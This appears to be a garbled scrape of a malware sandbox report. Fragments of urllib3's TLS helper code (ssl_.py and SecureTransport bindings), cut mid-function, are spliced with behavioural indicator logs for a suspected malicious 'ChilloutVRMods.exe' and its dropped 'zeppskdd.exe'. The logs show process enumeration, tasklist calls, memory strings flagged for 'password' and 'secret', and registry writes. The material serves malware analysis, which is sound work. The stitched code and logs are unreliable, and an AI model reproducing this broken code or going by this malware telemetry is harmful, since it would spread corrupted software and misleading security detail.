PROTOCOL_TLStry: from ssl import OP_NO_COMPRESSION, OP_NO_SSLv2, OP_NO_SSLv3except ImportError: OP_NO_SSLv2, OP_NO_SSLv3 = 0x1000000, 0x2000000 OP_NO_COMPRESSION = 0x20000try: # OP_NO_TICKET was added in Python 3.6 from ssl import OP_NO_TICKETexcept ImportError: OP_NO_TICKET = 0x4000# A secure default.# Sources for more information on TLS ciphers:# - https://wiki.mozilla.org/Security/Server_Side_TLS# - https://www.ssllabs.com/projects/best-practices/index.html# - https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/# The general intent is:# - prefer cipher suites that offer perfect forward secrecy (DHE/ECDHE),# - prefer ECDHE over DHE for better performance,# - prefer any AES-GCM and ChaCha20 over any AES-CBC for better performance and# security,# - prefer AES-GCM over ChaCha20 because hardware-accelerated AES is common,# - disable NULL authentication, MD5 MACs, DSS, and other# insecure ciphers for security reasons.# - NOTE: TLS 1.3 cipher suites are managed through a different interface# not exposed by CPython (yet!) and are enabled by default if they're available.DEFAULT_CIPHERS = ":".join( [ "ECDHE+AESGCM", "ECDHE+CHACHA20", "DHE+AESGCM", "DHE+CHACHA20", "ECDH+AESGCM", "DH+AESGCM", "ECDH+AES", "DH+AES", "RSA+AESGCM", "RSA+AES", "!aNULL", "!eNULL", "!MD5", "!DSS", ]try: from ssl import SSLContext # Modern SSL?except ImportError: class SSLContext(object): # Platform-specific: Python 2 def __init__(self, protocol_version): self.protocol = protocol_version # Use default values from a real SSLContext self.check_hostname = False self.verify_mode = ssl.CERT_NONE self.ca_certs = None self.options = 0 self.certfile = None self.keyfile = None self.ciphers = None def load_cert_chain(self, certfile, keyfile): self.certfile = certfile self.keyfile = keyfile def load_verify_locations(self, cafile=None, capath=None, cadata=None): self.ca_certs = cafile if capath is not None: raise SSLError("CA directories not supported in older Pythons") if cadata is not None: raise SSLError("CA data not supported in older Pythons") def set_ciphers(self, cipher_suite): self.ciphers = cipher_suite def wrap_socket(self, socket, server_hostname=None, server_side=False): warnings.warn( "A true SSLContext object is not available. This prevents " "urllib3 from configuring SSL appropriately and may cause " "certain SSL connections to fail. You can upgrade to a newer " "version of Python to solve this. For more information see " "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" "#ssl-warnings", InsecurePlatformWarning, ) kwargs = { "keyfile": self.keyfile, "certfile": self.certfile, "ca_certs": self.ca_certs, "cert_reqs": self.verify_mode, "ssl_version": self.protocol, "server_side": server_side, } return wrap_socket(socket, ciphers=self.ciphers, **kwargs)def assert_fingerprint(cert, fingerprint): """ Checks if given fingerprint matches the supplied certificate. :param cert: Certificate as bytes object. :param fingerprint: Fingerprint as string of hexdigits can be interspersed by colons. """ fingerprint = fingerprint.replace(":", "").lower() digest_length = len(fingerprint) hashfunc = HASHFUNC_MAP.get(digest_length) if not hashfunc: raise SSLError("Fingerprint of invalid length: {0}".format(fingerprint)) # We need encode() here for py32; works on py2 and p33. fingerprint_bytes = unhexlify(fingerprint.encode()) cert_digest = hashfunc(cert).digest() if not _const_compare_digest(cert_digest, fingerprint_bytes): raise SSLError( 'Fingerprints did not match. Expected "{0}", got "{1}".'.format( fingerprint, hexlify(cert_digest) ) )def resolve_cert_reqs(candidate): """ Resolves the argument to a numeric constant which can be passed to the wrap_socket function/method from the ssl module. Defaults to :data:`ssl.CERT_REQUIRED`. If given a string it is assumed to be the name of the constant in the :mod:`ssl` module or its abbreviation. (So you can specify `REQUIRED` instead of `CERT_REQUIRED`. If it's neither `None` nor a string we assume it is already the numeric constant which can directly be passed to wrap_socket. """ if candidate is None: return CERT_REQUIRED if isinstance(candidate, str): res = getattr(ssl, candidate, None) if res is None: res = getattr(ssl, "CERT_" + candidate) return res return candidatedef resolve_ssl_version(candidate): """ like resolve_cert_reqs """ if candidate is None: return PROTOCOL_TLS if isinstance(candidate, str): res = getattr(ssl, candidate, None) if res is None: res = getattr(ssl, "PROTOCOL_" + candidate) return res return candidatedef create_urllib3_context( ssl_version=None, cert_reqs=None, options=None, ciphers=None """All arguments have the same meaning as ``ssl_wrap_socket``. By default, this function does a lot of the same work that ``ssl.create_default_context`` does on Python 3.4+. It: - Disables SSLv2, SSLv3, and compression - Sets a restricted set of server ciphers If you wish to enable SSLv3, you can do:: from pip._vendor.urllib3.util import ssl_ context = ssl_.create_urllib3_context() context.options &= ~ssl_.OP_NO_SSLv3 You can do the same to enable compression (substituting ``COMPRESSION`` for ``SSLv3`` in the last line above). :param ssl_version: The desired protocol version to use. This will default to PROTOCOL_SSLv23 which will negotiate the highest protocol that both the server and your installation of OpenSSL support. :param cert_reqs: Whether to require the certificate verification. This defaults to ``ssl.CERT_REQUIRED``. :param options: Specific OpenSSL options. These default to ``ssl.OP_NO_SSLv2`` ``ssl.OP_NO_SSLv3`` ``ssl.OP_NO_COMPRESSION`` and ``ssl.OP_NO_TICKET``. :param ciphers: Which cipher suites to allow the server to select. :returns: Constructed SSLContext object with specified options :rtype: SSLContext """ # PROTOCOL_TLS is deprecated in Python 3.10 if not ssl_version or ssl_version == PROTOCOL_TLS: ssl_version = PROTOCOL_TLS_CLIENT context = SSLContext(ssl_version) context.set_ciphers(ciphers or DEFAULT_CIPHERS) # Setting the default here, as we may have no ssl module on import cert_reqs = ssl.CERT_REQUIRED if cert_reqs is None else cert_reqs if options is None: options = 0 # SSLv2 is easily broken and is considered harmful and dangerous options |= OP_NO_SSLv2 # SSLv3 has several problems and is now dangerous options |= OP_NO_SSLv3 # Disable compression to prevent CRIME attacks for OpenSSL 1.0+ # (issue #309) options |= OP_NO_COMPRESSION # TLSv1.2 only. Unless set explicitly, do not request tickets. # This may save some bandwidth on wire, and although the ticket is encrypted, # there is a risk associated with it being on wire, # if the server is not rotating its ticketing keys properly. options |= OP_NO_TICKET context.options |= options # Enable post-handshake authentication for TLS 1.3, see GH #1634. PHA is # necessary for conditional client cert authentication with TLS 1.3. # The attribute is None for OpenSSL <= 1.1.0 or does not exist in older # versions of Python. We only enable on Python 3.7.4+ or if certificate # verification is enabled to work around Python issue #37428 # See: https://bugs.python.org/issue37428 if (cert_reqs == ssl.CERT_REQUIRED or sys.version_info >= (3, 7, 4)) and getattr( context, "post_handshake_auth", None ) is not None: context.post_handshake_auth = True def disable_check_hostname(): if ( getattr(context, "check_hostname", None) is not None ): # Platform-specific: Python 3.2 # We do our own verification, including fingerprints and alternative # hostnames. So disable it here context.check_hostname = False # The order of the below lines setting verify_mode and check_hostname # matter due to safe-guards SSLContext has to prevent an SSLContext with # check_hostname=True, verify_mode=NONE/OPTIONAL. This is made even more # complex because we don't know whether PROTOCOL_TLS_CLIENT will be used # or not so we don't know the initial state of the freshly created SSLContext. if cert_reqs == ssl.CERT_REQUIRED: context.verify_mode = cert_reqs disable_check_hostname() else: disable_check_hostname() context.verify_mode = cert_reqs # Enable logging of TLS session keys via defacto standard environment variable # 'SSLKEYLOGFILE', if the feature is available (Python 3.8+). Skip empty values. if hasattr(context, "keylog_filename"): sslkeylogfile = os.environ.get("SSLKEYLOGFILE") if sslkeylogfile: context.keylog_filename = sslkeylogfile return contextdef ssl_wrap_socket( sock, keyfile=None, certfile=None, cert_reqs=None, ca_certs=None, server_hostname=None, ssl_version=None, ciphers=None, ssl_context=None, ca_cert_dir=None, key_password=None, ca_cert_data=None, tls_in_tls=False, """ All arguments except for server_hostname ssl_context and ca_cert_dir have the same meaning as they do when using :func:`ssl.wrap_socket`. :param server_hostname: When SNI is supported the expected hostname of the certificate :param ssl_context: A pre-made :class:`SSLContext` object. If none is provided one will be created using :func:`create_urllib3_context`. :param ciphers: A string of ciphers we wish the client to support. :param ca_cert_dir: A directory containing CA certificates in multiple separate files as supported by OpenSSL's -CApath flag or the capath argument to SSLContext.load_verify_locations(). :param key_password: Optional password if the keyfile is encrypted. :param ca_cert_data: Optional string containing CA certificates in PEM format suitable for passing as the cadata parameter to SSLContext.load_verify_locations() :param tls_in_tls: Use SSLTransport to wrap the existing socket. """ context = ssl_context if context is None: # Note: This branch of code and all the variables in it are no longer # used by urllib3 itself. We should consider deprecating and removing # this code. context = create_urllib3_context(ssl_version, cert_reqs, ciphers=ciphers) if ca_certs or ca_cert_dir or ca_cert_data: try: context.load_verify_locations(ca_certs, ca_cert_dir, ca_cert_data) except (IOError, OSError) as e: raise SSLError(e) elif ssl_context is None and hasattr(context, "load_default_certs"): # try to load OS default certs; works well on Windows (require Python3.4+) context.load_default_certs() # Attempt to detect if we get the goofy behavior of the # keyfile being encrypted and OpenSSL asking for the # passphrase via the terminal and instead error out. if keyfile and key_password is None and _is_key_file_encrypted(keyfile): raise SSLError("Client private key is encrypted password is required") if certfile: if key_password is None: context.load_cert_chain(certfile, keyfile) else: context.load_cert_chain(certfile, keyfile, key_password) try: if hasattr(context, "set_alpn_protocols"): context.set_alpn_protocols(ALPN_PROTOCOLS) except NotImplementedError: # Defensive: in CI, we always have set_alpn_protocols pass # If we detect server_hostname is an IP address then the SNI # extension should not be used according to RFC3546 Section 3.1 use_sni_hostname = server_hostname and not is_ipaddress(server_hostname) # SecureTransport uses server_hostname in certificate verification. send_sni = (use_sni_hostname and HAS_SNI) or ( IS_SECURETRANSPORT and server_hostname ) # Do not warn the user if server_hostname is an invalid SNI hostname. if not HAS_SNI and use_sni_hostname: warnings.warn( "An HTTPS request has been made but the SNI (Server Name " "Indication) extension to TLS is not available on this platform. " "This may cause the server to present an incorrect TLS " "certificate which can cause validation failures. You can upgrade to " "a newer version of Python to solve this. For more information see " "https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html" "#ssl-warnings", SNIMissingWarning, ) if send_sni: ssl_sock = _ssl_wrap_socket_impl( sock, context, tls_in_tls, server_hostname=server_hostname ) else: ssl_sock = _ssl_wrap_socket_impl(sock, context, tls_in_tls) return ssl_sockdef is_ipaddress(hostname): """Detects whether the hostname given is an IPv4 or IPv6 address. Also detects IPv6 addresses with Zone IDs. :param str hostname: Hostname to examine. :return: True if the hostname is an IP address False otherwise. """ if not six.PY2 and isinstance(hostname, bytes): # IDN A-label bytes are ASCII compatible. hostname = hostname.decode("ascii") return bool(IPV4_RE.match(hostname) or BRACELESS_IPV6_ADDRZ_RE.match(hostname))def _is_key_file_encrypted(key_file): """Detects if a key file is encrypted or not.""" with open(key_file, "r") as f: for line in f: # Look for P" (Indicator: ""finger") in Source: ssl_.py67:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005884) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00005884) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00005884)68:T426,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "ChilloutVRMods.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "ChilloutVRMods.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "ChilloutVRMods.exe") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; File: "ChilloutVRMods.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "ChilloutVRMods.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "ChilloutVRMods.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "ChilloutVRMods.exe") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "ChilloutVRMods.exe") Found reference to API "Process32First" (Indicator: "Process32First"; File: "ChilloutVRMods.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "ChilloutVRMods.exe")69:T4b1,Observed string: "%WINDIR%\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"" [Source: 00000000-00004592-00000C47-171871789596] Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00008992-00000C47-489370752] Observed string: "tasklist /FO CSV /NH" (Indicator: "tasklist ") in Source: 00000000-00008992-00000C47-489370752 Observed string: "\Device\HarddiskVolume3\Windows\System32\tasklist.exe" [Source: 00000000-00008992-00000BC0-2116161182] Observed string: "/d /s /c "tasklist /FO CSV /NH"" [Source: cmd.exe] Observed string: "C:\WINDOWS\system32\tasklist.exe" [Source: 00000000-00002656.00000000.200760.122C0000.00000004.mdmp 00000000-00002656.00000000.200760.D24C5000.00000004.mdmp] Observed string: "tasklist /FO CSV /NH" (Indicator: "tasklist ") in Source: 00000000-00002656.00000000.200760.122C0000.00000004.mdmp Observed string: "\Device\HarddiskVolume3\Windows\System32\tasklist.exe" [Source: 00000000-00002656.00000000.200760.122C0000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00002656.00000000.200760.122FC000.00000004.mdmp 00000000-00002656.00000000.200760.12310000.00000004.mdmp 00000000-00002656.00000000.200760.12580000.00000004.mdmp]6a:T8cd,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.4D0F0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00002044.00000000.199435.4D140000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00002044.00000000.199435.4D140000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.4D1A0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.4D1C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.4D1C0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.4D1C0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found string "passwordStrengthRegularExpression=""" (Indicator: "password"; Source: "00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00002044.00000001.199487.4D110000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00002044.00000001.199487.4D110000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00003696.00000000.199860.4D0F0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00003696.00000000.199860.4D1A0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00003696.00000000.199860.4D1C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00003696.00000000.199860.4D1C0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00003696.00000000.199860.4D1C0000.00000004.mdmp")6b:Te30,Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe" (Indicator: "\Device\"; Source: "00000000-00007912-00000BC0-2037904631") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00004592-00000BC0-2043629633") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00004592-00000BC0-2045674124") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" (Indicator: "\Device\"; Source: "00000000-00004592-00000BC0-2064351262") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00001732-00000BC0-2046271903") Found string "\Device\HarddiskVolume3\Windows\System32\cscript.exe" (Indicator: "\Device\"; Source: "00000000-00008912-00000BC0-2054176713") Found string "\Device\HarddiskVolume3\Windows\System32\taskkill.exe" (Indicator: "\Device\"; Source: "00000000-00003736-00000BC0-2096498982") Found string "\Device\HarddiskVolume3\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00008992-00000BC0-2116161182") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000000.199435.61760000.00000004.mdmp, 00000000-00002044.00000000.199435.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.61760000.00000004.mdmp, 00000000-00002044.00000001.199487.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000000.199435.61760000.00000004.mdmp, 00000000-00002044.00000000.199435.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.61760000.00000004.mdmp, 00000000-00002044.00000001.199487.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.7BBF9000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00002656.00000000.200760.122C0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\D" (Indicator: "\drivers\"; Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\D" (Indicator: "system32\drivers"; Source: "00000000-00002656.00000000.200760.12310000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp")6c:Tc72,"zeppskdd.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "614DD887303ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "259ACAA5313ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "0B1276EF373ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "05A476E9383ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "90C351C0393ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7625BBBA3A3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "308E1B913B3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A6F01D913B3ADD010000000000000000000000000200000000") "zeppskdd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "67F007913C3ADD010000000000000000000000000200000000") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "55D54E24353ADD010000000000000000000000000200000000") "python.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "python.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-21-1271187874-1938232448-3812392235-1001"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C5855F24353ADD010000000000000000000000000200000000")6d:T3503,"Low-level helpers for the SecureTransport bindings.These are Python functions that are not directly related to the high-level APIsbut are necessary to get them to work. They include a whole bunch of low-levelCoreFoundation messing about and memory management. The concerns in this moduleare almost entirely about trying to avoid memory leaks and providingappropriate and useful assistance to the higher-level code.import base64import ctypesimport itertoolsimport osimport reimport sslimport structimport tempfilefrom .bindings import CFConst, CoreFoundation, Security# This regular expression is used to grab PEM data out of a PEM bundle._PEM_CERTS_RE = re.compile( b"-----BEGIN CERTIFICATE-----\n(.*?)\n-----END CERTIFICATE-----", re.DOTALLdef _cf_data_from_bytes(bytestring): """ Given a bytestring create a CFData object from it. This CFData object must be CFReleased by the caller. """ return CoreFoundation.CFDataCreate( CoreFoundation.kCFAllocatorDefault, bytestring, len(bytestring) )def _cf_dictionary_from_tuples(tuples): """ Given a list of Python tuples create an associated CFDictionary. """ dictionary_size = len(tuples) # We need to get the dictionary keys and values out in the same order. keys = (t[0] for t in tuples) values = (t[1] for t in tuples) cf_keys = (CoreFoundation.CFTypeRef * dictionary_size)(*keys) cf_values = (CoreFoundation.CFTypeRef * dictionary_size)(*values) return CoreFoundation.CFDictionaryCreate( CoreFoundation.kCFAllocatorDefault, cf_keys, cf_values, dictionary_size, CoreFoundation.kCFTypeDictionaryKeyCallBacks, CoreFoundation.kCFTypeDictionaryValueCallBacks, )def _cfstr(py_bstr): """ Given a Python binary data create a CFString. The string must be CFReleased by the caller. """ c_str = ctypes.c_char_p(py_bstr) cf_str = CoreFoundation.CFStringCreateWithCString( CoreFoundation.kCFAllocatorDefault, c_str, CFConst.kCFStringEncodingUTF8, ) return cf_strdef _create_cfstring_array(lst): """ Given a list of Python binary data create an associated CFMutableArray. The array must be CFReleased by the caller. Raises an ssl.SSLError on failure. """ cf_arr = None try: cf_arr = CoreFoundation.CFArrayCreateMutable( CoreFoundation.kCFAllocatorDefault, 0, ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), ) if not cf_arr: raise MemoryError("Unable to allocate memory!") for item in lst: cf_str = _cfstr(item) if not cf_str: raise MemoryError("Unable to allocate memory!") try: CoreFoundation.CFArrayAppendValue(cf_arr, cf_str) finally: CoreFoundation.CFRelease(cf_str) except BaseException as e: if cf_arr: CoreFoundation.CFRelease(cf_arr) raise ssl.SSLError("Unable to allocate array: %s" % (e,)) return cf_arrdef _cf_string_to_unicode(value): """ Creates a Unicode string from a CFString object. Used entirely for error reporting. Yes it annoys me quite a lot that this function is this complex. """ value_as_void_p = ctypes.cast(value, ctypes.POINTER(ctypes.c_void_p)) string = CoreFoundation.CFStringGetCStringPtr( value_as_void_p, CFConst.kCFStringEncodingUTF8 ) if string is None: buffer = ctypes.create_string_buffer(1024) result = CoreFoundation.CFStringGetCString( value_as_void_p, buffer, 1024, CFConst.kCFStringEncodingUTF8 ) if not result: raise OSError("Error copying C string from CFStringRef") string = buffer.value if string is not None: string = string.decode("utf-8") return stringdef _assert_no_error(error, exception_class=None): """ Checks the return code and throws an exception if there is an error to report """ if error == 0: return cf_error_string = Security.SecCopyErrorMessageString(error, None) output = _cf_string_to_unicode(cf_error_string) CoreFoundation.CFRelease(cf_error_string) if output is None or output == u"": output = u"OSStatus %s" % error if exception_class is None: exception_class = ssl.SSLError raise exception_class(output)def _cert_array_from_pem(pem_bundle): """ Given a bundle of certs in PEM format turns them into a CFArray of certs that can be used to validate a cert chain. """ # Normalize the PEM bundle's line endings. pem_bundle = pem_bundle.replace(b"\r\n", b"\n") der_certs = [ base64.b64decode(match.group(1)) for match in _PEM_CERTS_RE.finditer(pem_bundle) ] if not der_certs: raise ssl.SSLError("No root certificates specified") cert_array = CoreFoundation.CFArrayCreateMutable( CoreFoundation.kCFAllocatorDefault, 0, ctypes.byref(CoreFoundation.kCFTypeArrayCallBacks), ) if not cert_array: raise ssl.SSLError("Unable to allocate memory!") try: for der_bytes in der_certs: certdata = _cf_data_from_bytes(der_bytes) if not certdata: raise ssl.SSLError("Unable to allocate memory!") cert = Security.SecCertificateCreateWithData( CoreFoundation.kCFAllocatorDefault, certdata ) CoreFoundation.CFRelease(certdata) if not cert: raise ssl.SSLError("Unable to build cert object!") CoreFoundation.CFArrayAppendValue(cert_array, cert) CoreFoundation.CFRelease(cert) except Exception: # We need to free the array before the exception bubbles further. # We only want to do that if an error occurs: otherwise, the caller # should free. CoreFoundation.CFRelease(cert_array) return cert_arraydef _is_cert(item): """ Returns True if a given CFTypeRef is a certificate. """ expected = Security.SecCertificateGetTypeID() return CoreFoundation.CFGetTypeID(item) == expecteddef _is_identity(item): """ Returns True if a given CFTypeRef is an identity. """ expected = Security.SecIdentityGetTypeID() return CoreFoundation.CFGetTypeID(item) == expecteddef _temporary_keychain(): """ This function creates a temporary Mac keychain that we can use to work with credentials. This keychain uses a one-time password and a temporary file to store the data. We expect to have one keychain per socket. The returned SecKeychainRef must be freed by the caller including calling SecKeychainDelete. Returns a tuple of the SecKeychainRef and the path to the temporary directory that contains it. """ # Unfortunately, SecKeychainCreate requires a path to a keychain. This # means we cannot use mkstemp to use a generic temporary file. Instead, # we're going to create a temporary directory and a filename to use there. # This filename will be 8 random bytes expanded into base64. We also need # some random bytes to password-protect the keychain we're creating, so we # ask for 40 random bytes. random_bytes = os.urandom(40) filename = 